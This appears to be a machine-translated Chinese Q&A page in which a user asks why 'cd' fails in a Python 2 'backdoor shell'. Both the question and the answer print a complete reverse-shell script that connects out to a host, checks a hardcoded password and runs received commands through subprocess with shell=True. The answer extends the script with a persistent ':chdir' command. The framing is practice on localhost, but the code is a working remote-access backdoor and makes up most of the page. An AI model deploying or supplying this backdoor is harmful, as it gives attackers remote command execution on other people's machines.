Backdoor Shell不允许我更改目录

时间:2017-10-30 16:00:09

标签: python python-2.7 sockets subprocess

下面你可以看到一个Python脚本,它在1234端口建立了与我的机器的连接。使用Netcat我可以监听该端口,然后使用终端在我的机器上执行操作(我知道这很简单,但它只是练习)。

现在的问题是像" ls,mkdir,pwd,rm甚至" ls / root / Desktop /"正在工作,但是" cd / root / Desktop"或" cd .."不工作,实际上真的很糟糕。输入" cd .."没有返回任何错误消息,但它也没有更改目录。我不能离开我的python目录。

这是脚本:

#! /usr/bin/python
import socket
import subprocess

host = "localhost"
port = 1234
passwd = "hacking"


def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        login()
    else:
        s.send("Connected #> ")
        shell()

def shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
              break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()

我是从here得到的。

任何人都可以帮助我吗?知道为什么我不能离开目录吗?提前谢谢!

1 个答案:

答案 0 :(得分:1)

它实际上工作正常。如果你在一个命令中尝试这个怎么办:cd /other/directory; ls。你会看到该目录确实"更改"在该命令的持续时间内。每个新命令都将获得一个新的环境(因此返回到相同的原始目录)。如果你真的想改变"服务器环境"在命令之间,你需要在python中做到这一点。下面是添加到您提供的代码中的脏示例:

#! /usr/bin/python
import socket
import subprocess
import os

host = "localhost"
port = 12345
passwd = "hacking"


def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        login()
    else:
        s.send("Connected #> ")
        shell()

def shell():
    while True:
        data = s.recv(1024).strip()

        if data == ":kill":
              break

        try:
            cmd, params = data.split(" ", 1)
            if cmd == ":chdir":
                os.chdir(params)
                print "chdir to %s" % (params)
                s.send("#> ")
                continue
        except:
            pass

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()

与你的":kill"相同的想法命令,如果脚本看到":chdir / new /目录"然后python执行chdir函数,否则将其传递给Popen。